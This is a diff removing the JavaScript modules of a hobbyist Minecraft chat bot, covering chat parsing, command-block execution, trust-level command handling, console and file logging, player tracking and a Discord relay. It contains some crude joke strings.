let ChatMessage
bot.on('registry_ready', registry => {
ChatMessage = loadPrismarineChat(registry)
})
if (options.isSavage) {
bot.chatParsers = [CreayunChatParser, sayConsoleChatParser]
} else {
bot.chatParsers = [KaboomChatParser, ChipmunkModChatParser, VanillaChatParser, sayConsoleChatParser, yfdCustomChatParser]
}
bot.on('packet.profileless_chat', packet => {
const message = tryParse(packet.message)
const sender = tryParse(packet.name)
bot.emit('profileless_chat', {
message,
type: packet.type,
sender
})
switch (packet.type) {
case 1:
bot.emit('message', { translate: "chat.type.emote", with: [ sender, message ]})
break
case 2:
bot.emit('message', { translate: "commands.message.display.incoming", with: [ sender, message], color: "gray", italic: true })
break
case 3:
bot.emit('message', { translate: "commands.message.display.outgoing", with: [ sender, message ], color: "gray", italic: true })
break
case 4:
bot.emit('message', message);
break
case 5:
bot.emit('message', { translate: 'chat.type.announcement', with: [ sender, message ]})
break
}
tryParsingMessage(message, { senderName: sender, players: bot.players, getMessageAsPrismarine: bot.getMessageAsPrismarine })
})
bot.on('packet.player_chat', (packet, data) => {
const unsigned = tryParse(packet.unsignedChatContent)
bot.emit('player_chat', { plain: packet.plainMessage, unsigned, senderUuid: packet.senderUuid })
switch (packet.type) {
case 5:
bot.emit('message', { translate: "chat.type.announcement", with: [ bot.players.find(player => player.uuid === packet.senderUuid).profile.name, packet.plainMessage ]})
break
default:
bot.emit('message', unsigned)
}
tryParsingMessage(unsigned, { senderUuid: packet.senderUuid, players: bot.players, getMessageAsPrismarine: bot.getMessageAsPrismarine })
})
bot.on('packet.system_chat', packet => {
const message = tryParse(packet.content)
if (config.commandSetMessage) {
if (message.translate === 'advMode.setCommand.success') return // Ignores command set message
}
if (message.translate === 'multiplayer.message_not_delivered') return
bot.emit('system_chat', { message, actionbar: packet.isActionBar })
if (packet.isActionBar) {
return
}
bot.emit('message', message)
tryParsingMessage(message, { players: bot.players, getMessageAsPrismarine: bot.getMessageAsPrismarine })
})
function tryParsingMessage (message, data) {
let parsed
for (const parser of bot.chatParsers) {
parsed = parser(message, data)
if (parsed) break
}
if (!parsed) return
bot.emit('parsed_message', parsed)
}
bot.getMessageAsPrismarine = message => {
try {
if (ChatMessage !== undefined) {
return new ChatMessage(message)
}
} catch {}
return undefined
}
bot.chat = {
message: message => {
const acc = 0;
const bitset = Buffer.allocUnsafe(3);
bitset[0] = acc & 0xFF;
bitset[1] = (acc >> 8) & 0xFF;
bitset[2] = (acc >> 16) & 0xFF;
bot._client.write('chat_message', {
message: message?.substring(0, 256),
timestamp: BigInt(Date.now()),
salt: 0n,
offset: 0,
acknowledged: bitset
})
},
command: command => {
bot._client.write('chat_command', {
command: command?.substring(0, 256),
timestamp: BigInt(Date.now()),
salt: 0n,
argumentSignatures: [],
signedPreview: false,
messageCount: 0,
acknowledged: Buffer.alloc(3),
previousMessages: []
})
}
}
}
module.exports = chat;
-79
View File
@@ -1,79 +0,0 @@
function core (bot, options, config) {
bot.core = {
area: {
start: config.core?.area.start ?? { x: 0, y: 0, z: 0 },
end: config.core?.area.end ?? { x: 15, y: 0, z: 15 }
},
position: null,
currentBlockRelative: { x: 0, y: 0, z: 0 },
refill () {
const pos = bot.core.position
const { start, end } = bot.core.area
if (!pos) return
if (bot.options.useChat ?? bot.options.isCreayun ?? bot.options.isSavage) return
// if (isNaN(pos.x + start.x)) bot.chat.command('world 3');
// console.log(isNaN(pos.x + start.x))
bot.chat.command(`minecraft:fill ${pos.x + start.x} ${pos.y + start.y} ${pos.z + start.z} ${pos.x + end.x} ${pos.y + end.y} ${pos.z + end.z} repeating_command_block{CustomName:'${JSON.stringify(config.core.name)}'}`)
},
move (pos = bot.position) {
bot.core.position = {
x: Math.floor(pos.x / 16) * 16,
y: 0,
z: Math.floor(pos.z / 16) * 16
}
bot.core.refill()
},
currentBlock () {
const relativePosition = bot.core.currentBlockRelative
const corePosition = bot.core.position
if (!corePosition) return null
return { x: relativePosition.x + corePosition.x, y: relativePosition.y + corePosition.y, z: relativePosition.z + corePosition.z }
},
incrementCurrentBlock () {
const relativePosition = bot.core.currentBlockRelative
const { start, end } = bot.core.area
relativePosition.x++
if (relativePosition.x > end.x) {
relativePosition.x = start.x
relativePosition.z++
}
if (relativePosition.z > end.z) {
relativePosition.z = start.z
relativePosition.y++
}
if (relativePosition.y > end.y) {
relativePosition.x = start.x
relativePosition.y = start.y
relativePosition.z = start.z
}
},
run (command) {
const location = bot.core.currentBlock()
if (!location) return
if (bot.options.isSavage || bot.options.isCreayun || bot.options.useChat) {
bot.chat.command(`${command?.substring(0, 256)}`)
} else {
bot._client.write('update_command_block', { command: command.substring(0, 32767), location, mode: 1, flags: 0b100 })
bot.core.incrementCurrentBlock()
}
}
}
// if (bot.options.useChat ?? bot.options.isCreayun ?? bot.options.isSavage) return
if (bot.options.isSavage) return
bot.on('move', () => {
// if (bot.options.isSavage) return
bot.core.move(bot.position)
// setTimeout(() => bot.core.run('say Hello, world!'), 1000)
})
}
module.exports = core;
-30
View File
@@ -1,30 +0,0 @@
function command_loop (bot, options, config) {
bot.cloop = {
list: [],
add (command, interval) {
let timer;
timer = ({ timer: setInterval(() => bot.core.run(command), interval), command, interval })
this.list.push(timer)
bot.on('end', () => {
this.clear()
})
bot.on('packet.login', () => {
timer = ({ timer: setInterval(() => bot.core.run(command), interval), command, interval })
this.list.push(timer);
})
},
remove (index) {
clearInterval(this.list[index].timer)
bot.cloop.list.splice(index, 1)
},
clear () {
for (const cloop of this.list) clearInterval(cloop.timer)
this.list = []
}
}
}
module.exports = command_loop;
-188
View File
@@ -1,188 +0,0 @@
const fs = require('fs');
const path = require('path');
const CommandError = require('../util/command_error.js');
const CommandSource = require('../util/command_source');
const { EmbedBuilder } = require('discord.js');
function command_manager (bot, options, config, discordClient) {
bot.commandManager = {
commands: {},
commandlist: [],
execute (source, commandName, args) {
const command = this.getCommand(commandName.toLowerCase());
try {
if (source?.sources?.discord && !source?.sources?.console) {
if (!command || !command?.execute) {
const Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.error}`)
.setTitle("Unknown command")
.setDescription(`Unknown command: ${commandName}`)
bot?.discord?.message?.reply({ embeds: [Embed] })
}
} else if (!source?.sources?.discord && !source?.sources?.console) {
if (!command || !command.execute)
throw new CommandError([
{
translate: `command.unknown.command`
},
{
text: '\n'
},
{
text: `${commandName} `
},
{
translate: "command.context.here"
}
])
} else if (source?.sources?.console && !source?.sources?.discord) {
if (!command || !command.execute)
bot.console.warn(bot.getMessageAsPrismarine([
{
translate: 'command.unknown.command',
color: "dark_red"
},
{
text: "\n",
},
{
text: `${commandName}`,
color: "dark_red"
},
{
translate: "command.context.here",
color: "dark_red"
}
])?.toAnsi())
}
if (command?.trustLevel > 0) {
const event = bot.discord.message;
const roles = event?.member?.roles?.cache;
if (command?.trustLevel === 1 && !source?.sources?.discord) {
const hash = args[0]
if (args.length === 0 && bot.validation.trusted && bot.validation.admin && bot.validation.owner && !source.sources.console) throw new CommandError({ text: "Please provide an trusted or and admin or an owner hash" })
if (args[0] !== bot.validation.trusted && args[0] !== bot.validation.admin && args[0] !== bot.validation.owner && !source.sources.console) throw new CommandError({ translate: 'Invalid trusted or admin or owner hash', color: 'dark_red' })
} else if (command?.trustLevel === 1 && source?.sources.discord) {
const hasRole = roles?.some(role => role.name === `${config.discord.roles.trusted}` || role.name === `${config.discord.roles.owner}`)
if (!hasRole) throw new CommandError({ translate: 'You are not trusted or the owner!' })
}
if (command?.trustLevel === 2 && !source.sources.console) {
// bot.chat.message('trust level 2 does nothing currently'); placeholder code
if (args.length === 0 && bot.validation.admin && bot.validation.owner && !source.sources.console) throw new CommandError({ text: "Please provide an trusted or owner hash" })
if (args[0] !== bot.validation.trusted && args[0] !== bot.validation.owner && !source.sources.console) throw new CommandError({ translate: 'Invalid trusted or owner hash', color: 'dark_red' })
}
if (command?.trustLevel === 3 && !source.sources.discord && !source.sources.console) {
if (args.length === 0 && bot.validation.owner) throw new CommandError({ text: "Please provide an owner hash" })
if (args[0] !== bot.validation.owner) throw new CommandError({ translate: 'Invalid owner hash', color: 'dark_red' })
} else if (command?.trustLevel === 3 && source.sources.discord && !source.sources.console) {
const hasRole = roles?.some(role => role.name === `${config.discord.roles.owner}`)
if (!hasRole) throw new CommandError({ translate: 'You are not the owner!' })
} else if (command?.trustLevel === 4 && !source.sources.console) {
throw new CommandError('This command can only be ran via console');
}
} if (!command?.discordExecute && command && source.sources.discord) {
throw new CommandError(`${command.name} command is not supported in discord!`)
} else if (command?.discordExecute && command && source.sources.discord) {
return command.discordExecute({ bot, source, arguments: args, config, discordClient })
} else if (!command?.execute && command && !source.sources.discord) {
throw new CommandError(`${command.name} command is not supported in game!`)
} else if (command?.execute && command && !source.sources.discord) {
return command?.execute({ bot, source, arguments: args, config, discordClient})
}
} catch (error) {
console.error(error.stack)
if (source?.sources?.discord && !source?.sources?.console) {
const Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.error}`)
.setTitle(`${command?.name} command`)
.setDescription(`\`\`\`${error}\`\`\``)
bot?.discord?.message?.reply({
embeds: [
Embed
]
})
} else if (!source?.sources?.discord && !source?.sources?.console) {
if (error instanceof CommandError)
bot.tellraw("@a", { text: error.message, color: "dark_red" })
else bot.tellraw("@a", [{ translate: 'command.failed', color: "dark_red", hoverEvent: { action: 'show_text', contents: `${error.stack}` } }])
}
}
},
executeString (source, command) {
const [commandName, ...args] = command.split(' ')
return this.execute(source, commandName, args)
},
discordExecute(source, command) {
const [commandName, ...args] = command.split(" ");
if (source?.sources?.discord && !source.sources.console) {
return this.discordExecute(source, commandName, args)
}
},
register (command) {
this.commands[command.name] = command
if (command.aliases) {
command.aliases.map((a) => (this.commands[a] = command));
}
},
unregister (command) {
this.commands = {};
},
getCommand (name) {
return this.commands[name]
},
getCommands () {
return Object.values(this.commands)
},
reload() {
for (const filename of fs.readdirSync(path.join(__dirname, "../commands"))) {
try {
delete require.cache[require.resolve(path.join(__dirname, "../commands/", filename))]
const command = require(path.join(__dirname, "../commands/", filename));
bot.commandManager.register(command);
bot.commandManager.commandlist.pop(command)
bot.commandManager.commandlist.push(command)
} catch (error) {
bot.tellraw("@a", { text: `Failed to reload file ${filename}\n${error.stack}`, color: "red" })
bot?.console?.filelogger(error.stack);
}
}
}
}
commandlist = [];
for (const filename of fs.readdirSync(path.join(__dirname, '../commands'))) {
try {
const command = require(path.join(__dirname, '../commands', filename))
bot.commandManager.register(command)
bot.commandManager.commandlist.push(command)
} catch (error) {
console.error('Failed to load command', filename, ':', error)
bot?.console.filelogging(error.stack)
}
}
let ratelimit = 0;
bot.on("parsed_message", (data) => {
if (data.type !== "minecraft:chat") return;
const prefixes = config.prefixes;
prefixes.map((prefix) => {
const plainMessage = bot.getMessageAsPrismarine(data.contents)?.toString();
if (!plainMessage.startsWith(prefix)) return
const command = plainMessage.substring(prefix.length)
const source = new CommandSource(data.sender, { discord: false, console: false }, true)
ratelimit++
setTimeout(() => {
ratelimit--
}, 1000)
if (ratelimit > 2) {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, { text: 'You are using commands too fast!', color: 'dark_red'})
} else if (command.split(" ")[0].length === 0) {
} else {
bot.commandManager.executeString(source, command)
}
})
})
}
module.exports = command_manager;
-74
View File
@@ -1,74 +0,0 @@
const CommandSource = require('../util/command_source');
const prismarineChat = require('prismarine-chat')('1.20.2');
function Console (bot, options, config) {
bot.console = {
readline: null,
server: 'all',
readlineInterface (rl) {
this.readline = rl
rl.on('line', (args) => {
if (bot.options.serverName !== this.server && this.server !== 'all') return
if (args.startsWith(config.console.prefix)) {
return bot.commandManager.executeString(bot.console.source, args.substring(config.console.prefix.length))
} else if (args.startsWith("")) {
return bot.commandManager.executeString(bot.console.source, `console say ${args.substring(0)}`);
}
rl.on('close', () => {
this.readline = null;
})
})
},
source: new CommandSource(bot.options.username, { console: true, discord: false }),
refreshLine (...args) {
this.readline.output.write("\x1b[2K\r");
console.log.apply(console, arguments);
this.readline._refreshLine();
},
log (message) {
this.refreshLine(bot.getMessageAsPrismarine(`§8[§1${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO" })} §3${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO" })} §6logs§8] §8[${options.serverName}§8] `)?.toAnsi() + message)
},
warn (error) {
this.refreshLine(prismarineChat.fromNotch(`§8[§1${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} §3${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} §ewarn§8] §8[${options.serverName}§8] `)?.toAnsi() + error)
},
error (error) {
this.refreshLine(bot.getMessageAsPrismarine(`§8[§1${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} §3${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} §4error§8] §8[${options.serverName}§8] `)?.toAnsi() + error)
},
info (message) {
this.refreshLine(bot.getMessageAsPrismarine(`§8[§1${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} §3${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} §2info§8] §8[${options.serverName}§8] `)?.toAnsi() + message)
},
customChat: {
enabled: false,
chat (message) {
const prefix = {
translate: '[%s] %s \u203a %s',
color:'dark_gray',
with: [
{
text: 'FNFBoyfriendBot Console',
color:'#00FFFF'
},
{
selector: `${bot.username}`, color:'#00FFFF',
clickEvent: { action: 'suggest_command', value: '~help' }
},
{
text: '',
extra: [`${message}`],
color:'white'
},
],
hoverEvent: { action:"show_text", value: 'FNF Sky is a fangirl but a simp for boyfriend confirmed??'},
clickEvent: 'https://doin-your.mom' ?
{ action: 'open_url', value: 'https://doin-your.mom' } : undefined,
}
bot.tellraw('@a', prefix)
}
}
}
bot.on('message', (message) => {
if (!options.logging) return;
bot.console.log(bot.getMessageAsPrismarine(message)?.toAnsi());
bot.console.fileLogger(`[${new Date().toLocaleTimeString("en-US", { timeZone: "America/CHICAGO", })} ${new Date().toLocaleDateString("en-US", { timeZone: "America/CHICAGO", })} logs] [${options.serverName}] ${bot.getMessageAsPrismarine(message)?.toString()}`);
})
}
module.exports = Console;
-153
View File
@@ -1,153 +0,0 @@
// TODO: Maybe move client creation elsepwhere
const { Client, GatewayIntentBits, interaction } = require('discord.js')
const { MessageContent, GuildMessages, Guilds } = GatewayIntentBits
const fixansi = require('../util/ansi');
const CommandSource = require('../util/command_source')
const client = new Client({ intents: [Guilds, GuildMessages, MessageContent] })
const util = require('util')
function discord(bot, options, config, discordClient) {
if (!options?.channelId) {
bot.discord = {
invite: config.discord?.invite
}
return
}
bot.discord = {
client: discordClient,
channel: undefined,
invite: config.discord.invite || undefined,
prefix: config.discord.prefix,
// presence: bot.discord.presence,
// token: config.discord.token,
}
discordClient.once('ready', (context) => {
bot.discord.channel = discordClient.channels.cache.get(options.channelId)
discordClient.user.setPresence({
activities: [{
name: `your mother`,
type: 0
}],
status: `dnd`
});
})
let discordQueue = []
setInterval(() => {
if (discordQueue.length === 0) return
try {
bot?.discord?.channel?.send(`\`\`\`ansi\n${discordQueue.join('\n').substring(0, 1984)}\n\`\`\``)
} catch (error) {
bot.console.warn(error.toString())
}
discordQueue = []
}, 2000)
function sendDiscordMessage(message) {
discordQueue.push(message)
}
function sendComponent(message) {
const ansi = bot.getMessageAsPrismarine(message)?.toAnsi(bot.registry.language).replaceAll('```\u001b[9```' + '```\u001b[3```').replaceAll('https://discord','https:\rdiscord')?.replaceAll('discord.gg', 'discord.\rgg').replaceAll('BlackStone Mafia On Top!', "Fuck off you god damn cunt");
try {
sendDiscordMessage(fixansi(ansi?.replaceAll('`', '`\u200b')))
} catch (e) {
bot.console.error(`Error sending a message to Discord:\n${e.message}`)
sendDiscordMessage(e.message)
}
}
bot.on('message', message => {
sendComponent(message)
})
function messageCreate(message, source) {
bot.discord.message = message;
if (message.author.id === bot.discord.client.user.id) return
if (message.channel.id !== bot.discord.channel.id) return
if (message.content.startsWith(config.discord.prefix)) { // TODO: Don't hardcode this
const source = new CommandSource({
profile: {
name: message?.member?.displayName
}
}, {
discord: true,
console: false
}, false, message)
bot.sendFeedback = message => {
sendComponent(message)
}
bot.commandManager.executeString(source, message.content.substring(config.discord.prefix.length))
return
}
const tag = {
translate: '[%s] %s \u203a %s',
with: [{
translate: '%s%s%s %s',
bold: false,
with: [{
text: 'FNF',
bold: false,
color: 'blue'
},
{
text: 'Boyfriend',
bold: false,
color: 'dark_aqua'
},
{
text: 'Bot',
bold: false,
color: 'dark_blue'
},
{
text: 'Discord',
bold: false,
color: 'dark_blue'
}
],
clickEvent: bot.discord.invite ? {
action: 'open_url',
value: bot.discord.invite
} : undefined,
hoverEvent: {
action: 'show_text',
contents: 'Click to join the discord'
}
},
{
text: message?.member?.displayName
},
message.content
]
}
if (message.attachments.size > 0) {
message.attachments.forEach(Attachment => {
bot.tellraw('@a', [tag, {
text: ' ' ? ' [Attachment] ' : ' [Attachment] ',
hoverEvent: {
action: 'show_text',
contents: 'Click here to view attachment'
},
clickEvent: {
action: 'open_url',
value: `${Attachment.url}`
}
}])
})
} else {
if (options.useChat || options.isSavage || options.isCreayun) {
bot.chat.message(bot.getMessageAsPrismarine(`&7[&9FNF&3Boyfriend&1Bot Discord&7] ${message?.member?.displayName} \u203a ${message?.content}`)?.toMotd().replaceAll('§','&'))
} else {
bot.tellraw('@a', tag);
}
}
}
discordClient.on('messageCreate', messageCreate)
}
module.exports = discord;
-60
View File
@@ -1,60 +0,0 @@
const fs = require("fs");
const path = require("path");
const { createGzip } = require("zlib");
const readline = require('readline');
const { Console } = require("console");
function fileLogger(bot, options, message) {
const currentDate = new Date();
const timestamp = `${currentDate.getFullYear()}-${(currentDate.getMonth() + 1)
.toString()
.padStart(2, "0")}-${currentDate.getDate().toString().padStart(2, "0")}`;
const logFolder = path.join(__dirname, "../../logs");
const logFileName = "latest.log";
const logFilePath = path.join(logFolder, logFileName);
const logStream = fs.createWriteStream(logFilePath, { flags: "a" });
if (!fs.existsSync(path.join(__dirname, "../../logs"))) {
fs.mkdirSync(path.join(__dirname, "../../logs"))
}
try {
if (!fs.existsSync(logFolder)) {
fs.mkdirSync(logFolder);
}
} catch (e) {
console.error(`Unable to create log folder: ${e}`);
}
function compressFile(input, output) {
// if (!bot.Console.filelogging) return
const plainOutput = output.slice(0, -3);
fs.renameSync(input, plainOutput);
const gzip = createGzip();
fs.createReadStream(plainOutput)
.pipe(gzip)
.pipe(fs.createWriteStream(output + ".tmp"))
.once("finish", () => {
fs.unlinkSync(plainOutput);
fs.renameSync(output + ".tmp", output);
});
}
if (fs.existsSync(logFilePath)) {
const plainName = fs
.statSync(logFilePath)
.ctime.toISOString()
.split("T")[0];
let name = plainName;
let counter = 1;
let newFileName = path.join(logFolder, `${name}.log.gz`);
while (fs.existsSync(newFileName)) {
name = `${plainName}-${counter}`;
newFileName = path.join(logFolder, `${name}.log.gz`);
counter++;
}
compressFile(logFilePath, newFileName);
}
bot.console.fileLogger = function logging (message) {
logStream.write(message + "\n");
};
}
module.exports = fileLogger;
-81
View File
@@ -1,81 +0,0 @@
function player_list (bot, options, config) {
bot.players = []
bot.on('packet.player_info', packet => {
const actions = []
if (packet.action & 0b000001) actions.push(addPlayer)
if (packet.action & 0b000010) actions.push(initializeChat)
if (packet.action & 0b000100) actions.push(updateGamemode)
if (packet.action & 0b001000) actions.push(updateListed)
if (packet.action & 0b010000) actions.push(updateLatency)
if (packet.action & 0b100000) actions.push(updateDisplayName)
for (const entry of packet.data) {
for (const action of actions) {
action(entry)
}
}
})
bot.on('packet.player_remove', ({ players }) => {
// TODO: Add player removal (with validation)
for (const player of players) {
bot.players = bot.players.filter(entry => entry.uuid !== player)
}
})
function addPlayer (entry) {
bot.players = bot.players.filter(_entry => _entry.uuid !== entry.uuid)
bot.players.push({
uuid: entry.uuid,
profile: { name: entry.player.name, properties: entry.player.properties },
chatSession: undefined,
gamemode: undefined,
listed: undefined,
latency: undefined,
displayName: undefined
})
}
function initializeChat (entry) {
// TODO: Handle chat sessions
}
function updateGamemode (entry) {
const target = bot.players.find(_entry => _entry.uuid === entry.uuid)
if (!target) return
target.gamemode = entry.gamemode
}
function updateListed (entry) {
const target = bot.players.find(_entry => _entry.uuid === entry.uuid)
if (!target) return
target.listed = entry.listed
}
function updateLatency (entry) {
const target = bot.players.find(_entry => _entry.uuid === entry.uuid)
if (!target) return
target.latency = entry.latency
}
function updateDisplayName (entry) {
const target = bot.players.find(_entry => _entry.uuid === entry.uuid)
if (!target) return
try {
target.displayName = JSON.parse(entry.displayName)
} catch {
// do nothing
}
}
bot.on('end', () => (bot.players = []))
}
module.exports = player_list;
-19
View File
@@ -1,19 +0,0 @@
function position (bot, options, config) {
bot.position = null
bot.on('packet.position', packet => {
bot.position = {
x: packet.flags & 1 ? (this.x + packet.x) : packet.x,
y: packet.flags & 2 ? (this.y + packet.y) : packet.y,
z: packet.flags & 4 ? (this.z + packet.z) : packet.z
}
bot._client.write('teleport_confirm', { teleportId: packet.teleportId })
bot.emit('move')
})
bot.on('end', () => { bot.position = null })
}
module.exports = position
-18
View File
@@ -1,18 +0,0 @@
const mc = require('minecraft-protocol');
const usernameGen = require("../util/usernameGen");
function reconnect (bot, options, config) {
bot.on('end', () => {
if (bot.reconnectDelay < 0) return
setTimeout(() => {
if (options.usernameGen) {
client = options.client ?? mc.createClient(options, bot.options.username = usernameGen())
} else {
client = options.client ?? mc.createClient(options)
}
bot._client = client
bot.emit('init_client', bot._client)
}, options.reconnectDelay);
})
}
module.exports = reconnect;
-11
View File
@@ -1,11 +0,0 @@
const createRegistry = require('prismarine-registry')
function registry (bot) {
bot.on('packet.login', packet => {
bot.registry = createRegistry(bot._client.version)
bot.registry.language = require('../data/language.json');
bot.emit('registry_ready', bot.registry)
})
}
module.exports = registry;
-89
View File
@@ -1,89 +0,0 @@
function selfcare (bot, options, config) {
let entityId;
let permissionLevel = 2;
let unmuted = false;
let gameMode;
let commandSpy = false;
let vanished = false;
let prefix = false;
let god = false;
let teleportToggle = false;
let username = false;
let nickname = false;
// You now have the tag: &8[&bPrefix&8: &3~&8]
// You no longer have a tag
bot.on('message', (message) => {
const stringMessage = bot.getMessageAsPrismarine(message)?.toString();
// if (stringMessage?.startsWith("Successfully enabled CommandSpy")) commandSpy = true;
// else if (stringMessage?.startsWith("Successfully disabled CommandSpy")) commandSpy = false;
if (stringMessage === "Successfully enabled CommandSpy") commandSpy = true;
else if (stringMessage === "Successfully enabled CommandSpy.") commandSpy = true;
else if (stringMessage === "Successfully disabled CommandSpy") commandSpy = false;
else if (stringMessage === "Successfully disabled CommandSpy.") commandSpy = false;
else if (stringMessage === `Vanish for ${bot.options.username}: enabled`) vanished = true;
else if (stringMessage === `Vanish for ${bot.options.username}: disabled`) vanished = false;
else if (stringMessage === `You now have the tag: &8[&bPrefix&8: &3${config.prefixes[0]}&8]` || stringMessage === "Something went wrong while saving the prefix. Please check console.") prefix = true;
else if (stringMessage?.startsWith("You now have the tag: ") || stringMessage === "You no longer have a tag") prefix = false
else if (stringMessage?.startsWith("You have been muted")) unmuted = true;
else if (stringMessage?.startsWith("You have been unmuted")) unmuted = false;
else if (stringMessage?.startsWith("Your voice has been silenced")) unmuted = true;
else if (stringMessage === "God mode disabled.") god = false;
else if (stringMessage === "God mode enabled.") god = true;
else if (stringMessage === "Teleportation disabled.") teleportToggle = true;
else if (stringMessage === "Teleportation enabled.") teleportToggle = false;
else if (stringMessage === `Successfully set your username to "${bot.username}"`) {
username = false
return
}
else if (stringMessage?.startsWith("Successfully set your username to ")) username = true
else if (stringMessage === `You already have the username "${bot.username}"`) username = false
else if (stringMessage === `You no longer have a nickname.`) nickname = false;
else if (stringMessage.startsWith('Your nickname is now ')) nickname = true;
})
bot.on('packet.entity_status', packet => {
if (packet.entityId !== entityId || packet.entityStatus < 24 || packet.entityStatus > 28) return
permissionLevel = packet.entityStatus - 24
})
bot.on('packet.game_state_change', packet => {
if (packet.reason !== 3) return // Reason 3 = Change Game Mode
gameMode = packet.gameMode;
});
bot.on("packet.game_state.change", packet => {
if (packet.reason !== 4) return // checks if the bot is seeing the endcredits or died
clientLock = packet.gameMode;
})
let timer;
bot.on('packet.login', (packet) => {
entityId = packet.entityId;
gameMode = packet.gameMode;
clientLock = packet.gameMode;
timer = setInterval(() => {
if (bot.options.isSavage && !bot.options.isKaboom) {
if (clientLock !== 4) bot._client.write("client_command", { actionId: 0 });
} else if (bot.options.isKaboom && !bot.options.isSavage) {
if (permissionLevel < 2) bot.chat.command('op @s[type=player]');
else if (gameMode !== 1) bot.chat.command('minecraft:gamemode creative');
else if (!commandSpy) bot.chat.command('commandspy on');
else if (username) bot.chat.command(`username ${bot.options.username}`)
else if (nickname) bot.chat.command(`nick off`)
else if (!prefix) bot.chat.command(`prefix &8[&bPrefix&8: &3${config.prefixes[0]}&8]`);
else if (!vanished) bot.core.run(`vanish ${bot.options.username} on`);
else if (unmuted) bot.core.run(`essentials:mute ${bot.uuid}`);
else if (!god) bot.core.run(`god ${bot.options.username} enable`);
else if (!teleportToggle) bot.core.run(`tptoggle ${bot.options.username} disable`);
else if (clientLock !== 4) bot._client.write("client_command", { actionId: 0 });
}
}, 1000);
});
bot.on('end', () => {
if (timer) clearInterval(timer)
prefix = false;
commandSpy = false;
vanished = false;
prefix = false;
god = false;
unmuted = false;
username = false;
});
}
module.exports = selfcare;
-6
View File
@@ -1,6 +0,0 @@
function tellraw (bot, options, config) {
bot.tellraw = (selector, message) => {
bot.core.run(`minecraft:tellraw ${selector} ` + JSON.stringify(message))
}
}
module.exports = tellraw;
-11
View File
@@ -1,11 +0,0 @@
const crypto = require("crypto");
function validation (bot, options, config, discordClient) {
let hashRegenInterval = setInterval(() => {
bot.validation = {
trusted: crypto.createHash('sha256').update(Math.floor(Date.now() / 5000) + config.keys.trusted).digest('hex').substring(0, 16),
admin: crypto.createHash('sha256').update(Math.floor(Date.now() / 5000) + config.keys.admin).digest('hex').substring(0, 16),
owner: crypto.createHash('sha256').update(Math.floor(Date.now() / 5000) + config.keys.owner).digest('hex').substring(0, 16),
}
}, 2000)
}
module.exports = validation;
-27
View File
@@ -1,27 +0,0 @@
function ChipmunkMod (message, data, context, bot) {
try {
if (message === null || typeof message !== 'object') return
if (message.with?.length < 3 || (message.translate !== '[%s] %s › %s' && message.translate !== '%s %s › %s')) return
const senderComponent = message.with[1]
const contents = message.with[2]
let sender
const hoverEvent = senderComponent.hoverEvent
if (hoverEvent?.action === 'show_entity') {
const id = hoverEvent.contents.id
sender = data.players.find(player => player.uuid === id)
} else {
const stringUsername = data.getMessageAsPrismarine(senderComponent).toString() // TypeError: data.getMessageAsPrismarine is not a function
sender = data.players.find(player => player.profile.name === stringUsername)
}
if (!sender) return null
return { sender, contents, type: 'minecraft:chat', senderComponent }
} catch(e) {
console.error(e)
}
}
module.exports = ChipmunkMod
-15
View File
@@ -1,15 +0,0 @@
const ChatMessage = require('prismarine-chat')('1.20.2');
const util = require('util');
function creayun (messageobj, data) {
const stringify = message => new ChatMessage(message).toString()
const message = stringify(messageobj);
const playerWithPrefix = /^(.*?) (\S*?) » (.*?)$/;
const playerWithoutPrefix = /^(\S*?) » (.*?)$/
if (playerWithPrefix.test(message)) {
let match = message.match(playerWithPrefix)
const sender = data.players.find((player) => player.uuid === player.uuid)
if (!sender) return undefined
return { sender, contents: match[3], type: 'minecraft:chat'};
}
}
module.exports = creayun;
-41
View File
@@ -1,41 +0,0 @@
const util = require('util')
function kaboom (message, data) {
if (message === null || typeof message !== 'object') return
if (message.text !== '' || !Array.isArray(message.extra) || message.extra.length < 3) return
const children = message.extra
const prefix = children[0]
let displayName = data.senderName ?? { text: '' }
let contents = { text: '' }
if (isSeparatorAt(children, 1)) { // Missing/blank display name
if (children.length > 3) contents = children[3]
} else if (isSeparatorAt(children, 2)) {
displayName = children[1]
if (children.length > 4) contents = children[4]
} else {
return undefined
}
const playerListDisplayName = { extra: [prefix, displayName], text: '' }
let sender
if (data.uuid) {
sender = data.players.find(player => player.uuid === data.senderUuid)
} else {
const playerListDisplayName = { extra: [prefix, displayName], text: '' }
sender = data.players.find(player => util.isDeepStrictEqual(player.displayName, playerListDisplayName))
}
if (!sender) return undefined
return { sender, contents, type: 'minecraft:chat', displayName }
}
function isSeparatorAt (children, start) {
return (children[start]?.text === ':' || children[start]?.text === '\xa7f:') && children[start + 1]?.text === ' '
}
module.exports = kaboom
-24
View File
@@ -1,24 +0,0 @@
function VanillaChat (message, data, context) {
try {
if (message === null || typeof message !== 'object') return
if (message.with?.length < 2 || (message.translate !== 'chat.type.text' && message.translate !== '%s %s')) return
const senderComponent = message.with[0]
const contents = message.with[1]
let sender
const hoverEvent = senderComponent.hoverEvent
if (hoverEvent?.action === 'show_entity') {
const id = hoverEvent.contents.id
sender = data.players.find(player => player.uuid === id)
} else {
const stringUsername = data.getMessageAsPrismarine(senderComponent).toString() // TypeError: data.getMessageAsPrismarine is not a function
sender = data.players.find(player => player.profile.name === stringUsername)
}
if (!sender) return undefined
return { sender, contents, type: 'minecraft:chat', senderComponent }
} catch(e) {
console.error(`${e.toString()}`)
}
}
module.exports = VanillaChat;
-26
View File
@@ -1,26 +0,0 @@
function sayConsole (message, data, context, bot) {
try {
if (message === null || typeof message !== 'object') return
if (message.with?.length < 2 || (message.translate !== 'chat.type.announcement' && message.translate !== '%s %s')) return
const senderComponent = message.with[0]
const contents = message.with[1]
let sender
const hoverEvent = senderComponent.hoverEvent
if (hoverEvent?.action === 'show_entity') {
const id = hoverEvent?.contents?.id
sender = data.players.find(player => player.uuid === id)
} else {
const stringUsername = data.getMessageAsPrismarine(senderComponent).toString() // TypeError: data.getMessageAsPrismarine is not a function
